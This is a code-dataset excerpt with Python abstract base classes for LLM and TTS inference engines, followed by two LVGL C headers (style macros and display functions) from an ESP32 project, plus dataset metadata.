Stores all values required for LLM conditioning.
Arguments:
model (str): The model name. Must a valid huggingface repo ID.
file (str): The file to use from that repo. Must be GGUF format.
inference_engine (str): The inference engine to use.
filter_thinking_process (bool): Whether to automatically remove the "thinking" part of an LLM response (essentially only using the response after the </think> token).
temperature (float): The temperature to use for inference.
max_completion_tokens (int): How many tokens the model is allowed to generate.
add_default_sys_prompt (bool): Should an extra system prompt be added to the LLM that adds context about the Nova system?
"""
pass
class LLMInferenceEngineBase(ABC):
"""
Provides a base class for all LLM inference engines to ensure a consistent structure.
"""
@abstractmethod
def initialize_model(self, conditioning: LLMConditioningBase) -> None:
"""
Load the model into VRAM/RAM. Required to run inference. Call free() to free up the VRAM/RAM again.
"""
raise NotImplementedError
@abstractmethod
def free(self) -> None:
"""
Frees the VRAM/RAM. The model can not be used anymore after it was freed. It needs to be loaded again by calling select_model().
"""
raise NotImplementedError
@abstractmethod
def run_inference(self, conversation: ConversationBase, tools: list[LLMToolBase] | None) -> LLMResponseBase:
"""
Prompt the LLM and get an answer from it.
Arguments:
conversation (Conversation): The conversation to use.
tools (list[LLMTool]): A list of tools the LLM can access.
Returns:
LLMResponse: The response from the LLM.
"""
raise NotImplementedError
class TTSConditioningBase(ABC):
"""
Stores all values required for TTS conditioning.
Note that some parameters are inference engine exclusive and will be ignored if an incompatible engine is used.
Arguments:
model (str): The TTS model to use. Must be a valid huggingface repo ID.
voice (str): The voice to use. Must be a valid voice name.
expressiveness (float): The expressiveness of the voice. 0 is neutral, 1 is very expressive.
stability (float): The stability of the voice. 0 is very unstable, 1 is very stable.
"""
pass
class TTSInferenceEngineBase(ABC):
"""
Provides a base class for all TTS inference engines to ensure a consistent structure.
"""
@abstractmethod
def initialize_model(self, model) -> None:
"""
Load the model into VRAM/RAM. Required to run inference. Call free() to free up the VRAM/RAM again.
"""
raise NotImplementedError
@abstractmethod
def free(self) -> None:
"""
Frees the VRAM/RAM. The model can not be used anymore after it was freed. It needs to be loaded again by calling select_model().
"""
raise NotImplementedError
@abstractmethod
def run_inference(self, text: str, conditioning: TTSConditioningBase, stream: bool) -> AudioDataBase:
"""
Get the spoken text from the TTS.
Arguments:
text (str): The text to convert to speech.
conditioning (TTSConditioning): The conditioning to use for the TTS.
stream (bool): Whether to stream the audio or not.
Returns:
bytes: The audio data.
"""
raise NotImplementedError
@abstractmethod
def clone_voice(self, audio_dir: str, name: str) -> None:
"""
Create a new voice embedding from a recording.
Arguments:
audio_dir (str): The directory of the audio file containing the voice.
name (str): The name under which the voice should be saved.
"""
raise NotImplementedError
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0015/ESP32-OpenCV-Projects | esp32/examples/color_code/components/lvgl_gui/lvgl/src/lv_core/lv_obj_style_dec.h |
/**
* @file lv_obj_style_dec.h
*
*/
#ifndef LV_OBJ_STYLE_DEC_H
#define LV_OBJ_STYLE_DEC_H
#ifdef __cplusplus
extern "C" {
#endif
/*********************
* DEFINES
*********************/
/**
* Macro to declare the most important style set/get API functions.
*
* Get the value of a style property from an object in the object's current state
* -----------------------------------------------------------------------------
* - Get the value of a style property from an object in the object's current state.
* - Transition animation is taken into account.
* - If the property is not set in the object's styles check the parent(s) if the property can be inherited
* - If still not found return a default value.
* - For example:
* `lv_style_int_t w = lv_obj_get_style_border_width(btn1, LV_BTN_PART_MAIN);`
*
* Set a local style property for an object in a given state
* ---------------------------------------------------------
* - For example:
* `lv_obj_set_style_local_border_width(btn1, LV_BTN_PART_MAIN, LV_STATE_PRESSED, 2);`
*
* Get a local style property's value of an object in a given state
* ----------------------------------------------------------------
* - Return the best matching property in the given state.
* - E.g. if `state` parameter is LV_STATE_PRESSED | LV_STATE_CHECKED` but the property defined only in
* `LV_STATE_PRESSED` and `LV_STATE_DEFAULT` the best matching state is `LV_STATE_PRESSED`
* (because it has higher precedence) and it will be returned.
* - If the property is not found even in `LV_STATE_DEFAULT` `-1` is returned.
* - For example:
* `//Type of result should be lv_style_int_t/lv_opa_t/lv_color_t/const void * according to the type of the property`
* `lv_style_int_t result;`
* `lv_obj_get_style_local_border_width(btn1, LV_BTN_PART_MAIN, LV_STATE_PRESSED, &result);`
* `if(weight > 0) ...the property is found and loaded into result...`
*
* Get the value from a style in a given state
* -------------------------------------------
* - The same rules applies to the return value then for "lv_obj_get_style_local_...()" above
* - For example
* `int16_t weight = lv_style_get_border_width(&style1, LV_STATE_PRESSED, &result);`
* `if(weight > 0) ...the property is found and loaded into result...`
* Set a value in a style in a given state
* ---------------------------------------
* - For example
* `lv_style_set_border_width(&style1, LV_STATE_PRESSED, 2);`
*/
#define _OBJ_GET_STYLE_scalar(prop_name, func_name, value_type, style_type) \
static inline value_type lv_obj_get_style_##func_name (const lv_obj_t * obj, uint8_t part) \
{ \
return (value_type) _lv_obj_get_style##style_type (obj, part, LV_STYLE_##prop_name); \
}
#define _OBJ_GET_STYLE_nonscalar(prop_name, func_name, value_type, style_type) \
static inline value_type lv_obj_get_style_##func_name (const lv_obj_t * obj, uint8_t part) \
{ \
return _lv_obj_get_style##style_type (obj, part, LV_STYLE_##prop_name); \
}
#define _OBJ_SET_STYLE_LOCAL_scalar(prop_name, func_name, value_type, style_type) \
static inline void lv_obj_set_style_local_##func_name (lv_obj_t * obj, uint8_t part, lv_state_t state, value_type value) \
{ \
_lv_obj_set_style_local##style_type (obj, part, LV_STYLE_##prop_name | (state << LV_STYLE_STATE_POS), value); \
}
#define _OBJ_SET_STYLE_LOCAL_nonscalar(prop_name, func_name, value_type, style_type) \
static inline void lv_obj_set_style_local_##func_name (lv_obj_t * obj, uint8_t part, lv_state_t state, value_type value) \
{ \
_lv_obj_set_style_local##style_type (obj, part, LV_STYLE_##prop_name | (state << LV_STYLE_STATE_POS), value); \
}
#define _OBJ_SET_STYLE_scalar(prop_name, func_name, value_type, style_type) \
static inline void lv_style_set_##func_name (lv_style_t * style, lv_state_t state, value_type value) \
{ \
_lv_style_set##style_type (style, LV_STYLE_##prop_name | (state << LV_STYLE_STATE_POS), value); \
}
#define _OBJ_SET_STYLE_nonscalar(prop_name, func_name, value_type, style_type) \
static inline void lv_style_set_##func_name (lv_style_t * style, lv_state_t state, value_type value) \
{ \
_lv_style_set##style_type (style, LV_STYLE_##prop_name | (state << LV_STYLE_STATE_POS), value); \
}
#define _LV_OBJ_STYLE_SET_GET_DECLARE(prop_name, func_name, value_type, style_type, scalar) \
_OBJ_GET_STYLE_##scalar(prop_name, func_name, value_type, style_type) \
_OBJ_SET_STYLE_LOCAL_##scalar(prop_name, func_name, value_type, style_type) \
_OBJ_SET_STYLE_##scalar(prop_name, func_name, value_type, style_type)
_LV_OBJ_STYLE_SET_GET_DECLARE(RADIUS, radius, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(CLIP_CORNER, clip_corner, bool, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(SIZE, size, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(TRANSFORM_WIDTH, transform_width, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(TRANSFORM_HEIGHT, transform_height, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(TRANSFORM_ANGLE, transform_angle, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(TRANSFORM_ZOOM, transform_zoom, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(OPA_SCALE, opa_scale, lv_opa_t, _opa, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(PAD_TOP, pad_top, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(PAD_BOTTOM, pad_bottom, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(PAD_LEFT, pad_left, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(PAD_RIGHT, pad_right, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(PAD_INNER, pad_inner, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(MARGIN_TOP, margin_top, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(MARGIN_BOTTOM, margin_bottom, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(MARGIN_LEFT, margin_left, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(MARGIN_RIGHT, margin_right, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(BG_BLEND_MODE, bg_blend_mode, lv_blend_mode_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(BG_MAIN_STOP, bg_main_stop, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(BG_GRAD_STOP, bg_grad_stop, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(BG_GRAD_DIR, bg_grad_dir, lv_grad_dir_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(BG_COLOR, bg_color, lv_color_t, _color, nonscalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(BG_GRAD_COLOR, bg_grad_color, lv_color_t, _color, nonscalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(BG_OPA, bg_opa, lv_opa_t, _opa, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(BORDER_WIDTH, border_width, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(BORDER_SIDE, border_side, lv_border_side_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(BORDER_BLEND_MODE, border_blend_mode, lv_blend_mode_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(BORDER_POST, border_post, bool, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(BORDER_COLOR, border_color, lv_color_t, _color, nonscalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(BORDER_OPA, border_opa, lv_opa_t, _opa, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(OUTLINE_WIDTH, outline_width, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(OUTLINE_PAD, outline_pad, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(OUTLINE_BLEND_MODE, outline_blend_mode, lv_blend_mode_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(OUTLINE_COLOR, outline_color, lv_color_t, _color, nonscalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(OUTLINE_OPA, outline_opa, lv_opa_t, _opa, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(SHADOW_WIDTH, shadow_width, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(SHADOW_OFS_X, shadow_ofs_x, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(SHADOW_OFS_Y, shadow_ofs_y, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(SHADOW_SPREAD, shadow_spread, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(SHADOW_BLEND_MODE, shadow_blend_mode, lv_blend_mode_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(SHADOW_COLOR, shadow_color, lv_color_t, _color, nonscalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(SHADOW_OPA, shadow_opa, lv_opa_t, _opa, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(PATTERN_REPEAT, pattern_repeat, bool, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(PATTERN_BLEND_MODE, pattern_blend_mode, lv_blend_mode_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(PATTERN_RECOLOR, pattern_recolor, lv_color_t, _color, nonscalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(PATTERN_OPA, pattern_opa, lv_opa_t, _opa, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(PATTERN_RECOLOR_OPA, pattern_recolor_opa, lv_opa_t, _opa, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(PATTERN_IMAGE, pattern_image, const void *, _ptr, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(VALUE_LETTER_SPACE, value_letter_space, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(VALUE_LINE_SPACE, value_line_space, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(VALUE_BLEND_MODE, value_blend_mode, lv_blend_mode_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(VALUE_OFS_X, value_ofs_x, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(VALUE_OFS_Y, value_ofs_y, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(VALUE_ALIGN, value_align, lv_align_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(VALUE_COLOR, value_color, lv_color_t, _color, nonscalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(VALUE_OPA, value_opa, lv_opa_t, _opa, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(VALUE_FONT, value_font, const lv_font_t *, _ptr, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(VALUE_STR, value_str, const char *, _ptr, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(TEXT_LETTER_SPACE, text_letter_space, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(TEXT_LINE_SPACE, text_line_space, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(TEXT_DECOR, text_decor, lv_text_decor_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(TEXT_BLEND_MODE, text_blend_mode, lv_blend_mode_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(TEXT_COLOR, text_color, lv_color_t, _color, nonscalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(TEXT_SEL_COLOR, text_sel_color, lv_color_t, _color, nonscalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(TEXT_OPA, text_opa, lv_opa_t, _opa, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(TEXT_FONT, text_font, const lv_font_t *, _ptr, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(LINE_WIDTH, line_width, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(LINE_BLEND_MODE, line_blend_mode, lv_blend_mode_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(LINE_DASH_WIDTH, line_dash_width, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(LINE_DASH_GAP, line_dash_gap, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(LINE_ROUNDED, line_rounded, bool, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(LINE_COLOR, line_color, lv_color_t, _color, nonscalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(LINE_OPA, line_opa, lv_opa_t, _opa, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(IMAGE_BLEND_MODE, image_blend_mode, lv_blend_mode_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(IMAGE_RECOLOR, image_recolor, lv_color_t, _color, nonscalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(IMAGE_OPA, image_opa, lv_opa_t, _opa, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(IMAGE_RECOLOR_OPA, image_recolor_opa, lv_opa_t, _opa, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(TRANSITION_TIME, transition_time, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(TRANSITION_DELAY, transition_delay, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(TRANSITION_PROP_1, transition_prop_1, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(TRANSITION_PROP_2, transition_prop_2, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(TRANSITION_PROP_3, transition_prop_3, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(TRANSITION_PROP_4, transition_prop_4, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(TRANSITION_PROP_5, transition_prop_5, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(TRANSITION_PROP_6, transition_prop_6, lv_style_int_t, _int, scalar)
#if LV_USE_ANIMATION
_LV_OBJ_STYLE_SET_GET_DECLARE(TRANSITION_PATH, transition_path, lv_anim_path_t *, _ptr, scalar)
#else
/*For compatibility*/
_LV_OBJ_STYLE_SET_GET_DECLARE(TRANSITION_PATH, transition_path, const void *, _ptr, scalar)
#endif
_LV_OBJ_STYLE_SET_GET_DECLARE(SCALE_WIDTH, scale_width, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(SCALE_BORDER_WIDTH, scale_border_width, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(SCALE_END_BORDER_WIDTH, scale_end_border_width, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(SCALE_END_LINE_WIDTH, scale_end_line_width, lv_style_int_t, _int, scalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(SCALE_GRAD_COLOR, scale_grad_color, lv_color_t, _color, nonscalar)
_LV_OBJ_STYLE_SET_GET_DECLARE(SCALE_END_COLOR, scale_end_color, lv_color_t, _color, nonscalar)
#undef _LV_OBJ_STYLE_SET_GET_DECLARE
static inline void lv_obj_set_style_local_pad_all(lv_obj_t * obj, uint8_t part, lv_state_t state, lv_style_int_t value)
{
lv_obj_set_style_local_pad_top(obj, part, state, value);
lv_obj_set_style_local_pad_bottom(obj, part, state, value);
lv_obj_set_style_local_pad_left(obj, part, state, value);
lv_obj_set_style_local_pad_right(obj, part, state, value);
}
static inline void lv_style_set_pad_all(lv_style_t * style, lv_state_t state, lv_style_int_t value)
{
lv_style_set_pad_top(style, state, value);
lv_style_set_pad_bottom(style, state, value);
lv_style_set_pad_left(style, state, value);
lv_style_set_pad_right(style, state, value);
}
static inline void lv_obj_set_style_local_pad_hor(lv_obj_t * obj, uint8_t part, lv_state_t state, lv_style_int_t value)
{
lv_obj_set_style_local_pad_left(obj, part, state, value);
lv_obj_set_style_local_pad_right(obj, part, state, value);
}
static inline void lv_style_set_pad_hor(lv_style_t * style, lv_state_t state, lv_style_int_t value)
{
lv_style_set_pad_left(style, state, value);
lv_style_set_pad_right(style, state, value);
}
static inline void lv_obj_set_style_local_pad_ver(lv_obj_t * obj, uint8_t part, lv_state_t state, lv_style_int_t value)
{
lv_obj_set_style_local_pad_top(obj, part, state, value);
lv_obj_set_style_local_pad_bottom(obj, part, state, value);
}
static inline void lv_style_set_pad_ver(lv_style_t * style, lv_state_t state, lv_style_int_t value)
{
lv_style_set_pad_top(style, state, value);
lv_style_set_pad_bottom(style, state, value);
}
static inline void lv_obj_set_style_local_margin_all(lv_obj_t * obj, uint8_t part, lv_state_t state,
lv_style_int_t value)
{
lv_obj_set_style_local_margin_top(obj, part, state, value);
lv_obj_set_style_local_margin_bottom(obj, part, state, value);
lv_obj_set_style_local_margin_left(obj, part, state, value);
lv_obj_set_style_local_margin_right(obj, part, state, value);
}
static inline void lv_style_set_margin_all(lv_style_t * style, lv_state_t state, lv_style_int_t value)
{
lv_style_set_margin_top(style, state, value);
lv_style_set_margin_bottom(style, state, value);
lv_style_set_margin_left(style, state, value);
lv_style_set_margin_right(style, state, value);
}
static inline void lv_obj_set_style_local_margin_hor(lv_obj_t * obj, uint8_t part, lv_state_t state,
lv_style_int_t value)
{
lv_obj_set_style_local_margin_left(obj, part, state, value);
lv_obj_set_style_local_margin_right(obj, part, state, value);
}
static inline void lv_style_set_margin_hor(lv_style_t * style, lv_state_t state, lv_style_int_t value)
{
lv_style_set_margin_left(style, state, value);
lv_style_set_margin_right(style, state, value);
}
static inline void lv_obj_set_style_local_margin_ver(lv_obj_t * obj, uint8_t part, lv_state_t state,
lv_style_int_t value)
{
lv_obj_set_style_local_margin_top(obj, part, state, value);
lv_obj_set_style_local_margin_bottom(obj, part, state, value);
}
static inline void lv_style_set_margin_ver(lv_style_t * style, lv_state_t state, lv_style_int_t value)
{
lv_style_set_margin_top(style, state, value);
lv_style_set_margin_bottom(style, state, value);
}
#ifdef __cplusplus
} /* extern "C" */
#endif
#endif /*LV_OBJ_H*/
| 17,640 | lv_obj_style_dec | h | en | c | code | {"qsc_code_num_words": 2843, "qsc_code_num_chars": 17640.0, "qsc_code_mean_word_length": 3.97537812, "qsc_code_frac_words_unique": 0.06296166, "qsc_code_frac_chars_top_2grams": 0.06326314, "qsc_code_frac_chars_top_3grams": 0.08671032, "qsc_code_frac_chars_top_4grams": 0.1092727, "qsc_code_frac_chars_dupe_5grams": 0.81693506, "qsc_code_frac_chars_dupe_6grams": 0.80215891, "qsc_code_frac_chars_dupe_7grams": 0.78207397, "qsc_code_frac_chars_dupe_8grams": 0.7691559, "qsc_code_frac_chars_dupe_9grams": 0.75791895, "qsc_code_frac_chars_dupe_10grams": 0.73314458, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00232114, "qsc_code_frac_chars_whitespace": 0.16961451, "qsc_code_size_file_byte": 17640.0, "qsc_code_num_lines": 302.0, "qsc_code_num_chars_line_max": 130.0, "qsc_code_num_chars_line_mean": 58.41059603, "qsc_code_frac_chars_alphabet": 0.76925177, "qsc_code_frac_chars_comments": 0.13951247, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.27014218, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 6.588e-05, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.1042654, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 1.0, "qsc_codec_score_lines_no_logic": 0.1042654, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 1, "qsc_code_frac_chars_dupe_6grams": 1, "qsc_code_frac_chars_dupe_7grams": 1, "qsc_code_frac_chars_dupe_8grams": 1, "qsc_code_frac_chars_dupe_9grams": 1, "qsc_code_frac_chars_dupe_10grams": 1, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/components/lvgl_gui/lvgl/src/lv_core/lv_disp.h | /**
* @file lv_disp.h
*
*/
#ifndef LV_DISP_H
#define LV_DISP_H
#ifdef __cplusplus
extern "C" {
#endif
/*********************
* INCLUDES
*********************/
#include "../lv_hal/lv_hal.h"
#include "lv_obj.h"
/*********************
* DEFINES
*********************/
/**********************
* TYPEDEFS
**********************/
typedef enum {
LV_SCR_LOAD_ANIM_NONE,
LV_SCR_LOAD_ANIM_OVER_LEFT,
LV_SCR_LOAD_ANIM_OVER_RIGHT,
LV_SCR_LOAD_ANIM_OVER_TOP,
LV_SCR_LOAD_ANIM_OVER_BOTTOM,
LV_SCR_LOAD_ANIM_MOVE_LEFT,
LV_SCR_LOAD_ANIM_MOVE_RIGHT,
LV_SCR_LOAD_ANIM_MOVE_TOP,
LV_SCR_LOAD_ANIM_MOVE_BOTTOM,
LV_SCR_LOAD_ANIM_FADE_ON,
} lv_scr_load_anim_t;
/**********************
* GLOBAL PROTOTYPES
**********************/
/**
* Return with a pointer to the active screen
* @param disp pointer to display which active screen should be get. (NULL to use the default
* screen)
* @return pointer to the active screen object (loaded by 'lv_scr_load()')
*/
lv_obj_t * lv_disp_get_scr_act(lv_disp_t * disp);
/**
* Return with a pointer to the previous screen. Only used during screen transitions.
* @param disp pointer to display which previous screen should be get. (NULL to use the default
* screen)
* @return pointer to the previous screen object or NULL if not used now
*/
lv_obj_t * lv_disp_get_scr_prev(lv_disp_t * disp);
/**
* Make a screen active
* @param scr pointer to a screen
*/
void lv_disp_load_scr(lv_obj_t * scr);
/**
* Return with the top layer. (Same on every screen and it is above the normal screen layer)
* @param disp pointer to display which top layer should be get. (NULL to use the default screen)
* @return pointer to the top layer object (transparent screen sized lv_obj)
*/
lv_obj_t * lv_disp_get_layer_top(lv_disp_t * disp);
/**
* Return with the sys. layer. (Same on every screen and it is above the normal screen and the top
* layer)
* @param disp pointer to display which sys. layer should be get. (NULL to use the default screen)
* @return pointer to the sys layer object (transparent screen sized lv_obj)
*/
lv_obj_t * lv_disp_get_layer_sys(lv_disp_t * disp);
/**
* Assign a screen to a display.
* @param disp pointer to a display where to assign the screen
* @param scr pointer to a screen object to assign
*/
void lv_disp_assign_screen(lv_disp_t * disp, lv_obj_t * scr);
/**
* Set the background color of a display
* @param disp pointer to a display
* @param color color of the background
*/
void lv_disp_set_bg_color(lv_disp_t * disp, lv_color_t color);
/**
* Set the background image of a display
* @param disp pointer to a display
* @param img_src path to file or pointer to an `lv_img_dsc_t` variable
*/
void lv_disp_set_bg_image(lv_disp_t * disp, const void * img_src);
/**
* Opacity of the background
* @param disp pointer to a display
* @param opa opacity (0..255)
*/
void lv_disp_set_bg_opa(lv_disp_t * disp, lv_opa_t opa);
#if LV_USE_ANIMATION
/**
* Switch screen with animation
* @param scr pointer to the new screen to load
* @param anim_type type of the animation from `lv_scr_load_anim_t`. E.g. `LV_SCR_LOAD_ANIM_MOVE_LEFT`
* @param time time of the animation
* @param delay delay before the transition
* @param auto_del true: automatically delete the old screen
*/
void lv_scr_load_anim(lv_obj_t * scr, lv_scr_load_anim_t anim_type, uint32_t time, uint32_t delay, bool auto_del);
#endif
/**
* Get elapsed time since last user activity on a display (e.g. click)
* @param disp pointer to an display (NULL to get the overall smallest inactivity)
* @return elapsed ticks (milliseconds) since the last activity
*/
uint32_t lv_disp_get_inactive_time(const lv_disp_t * disp);
/**
* Manually trigger an activity on a display
* @param disp pointer to an display (NULL to use the default display)
*/
void lv_disp_trig_activity(lv_disp_t * disp);
/**
* Get a pointer to the screen refresher task to
* modify its parameters with `lv_task_...` functions.
* @param disp pointer to a display
* @return pointer to the display refresher task. (NULL on error)
*/
lv_task_t * _lv_disp_get_refr_task(lv_disp_t * disp);
/*------------------------------------------------
* To improve backward compatibility
* Recommended only if you have one display
*------------------------------------------------*/
/**
* Get the active screen of the default display
* @return pointer to the active screen
*/
static inline lv_obj_t * lv_scr_act(void)
{
return lv_disp_get_scr_act(lv_disp_get_default());
}
/**
* Get the top layer of the default display
* @return pointer to the top layer
*/
static inline lv_obj_t * lv_layer_top(void)
{
return lv_disp_get_layer_top(lv_disp_get_default());
}
/**
* Get the active screen of the default display
* @return pointer to the sys layer
*/
static inline lv_obj_t * lv_layer_sys(void)
{
return lv_disp_get_layer_sys(lv_disp_get_default());
}
static inline void lv_scr_load(lv_obj_t * scr)
{
lv_disp_load_scr(scr);
}
/**********************
* MACROS
**********************/
/*------------------------------------------------
* To improve backward compatibility
* Recommended only if you have one display
*------------------------------------------------*/
#ifndef LV_HOR_RES
/**
* The horizontal resolution of the currently active display.
*/
#define LV_HOR_RES lv_disp_get_hor_res(lv_disp_get_default())
#endif
#ifndef LV_VER_RES
/**
* The vertical resolution of the currently active display.
*/
#define LV_VER_RES lv_disp_get_ver_res(lv_disp_get_default())
#endif
/**
* Same as Android's DIP. (Different name is chosen to avoid mistype between LV_DPI and LV_DIP)
* 1 dip is 1 px on a 160 DPI screen
* 1 dip is 2 px on a 320 DPI screen
* https://stackoverflow.com/questions/2025282/what-is-the-difference-between-px-dip-dp-and-sp
*/
#define LV_DPX(n) LV_MATH_MAX((( lv_disp_get_dpi(NULL) * (n) + 80) / 160), 1) /*+80 for rounding*/
static inline lv_coord_t lv_dpx(lv_coord_t n)
{
return LV_DPX(n);
}
#ifdef __cplusplus
} /* extern "C" */
#endif
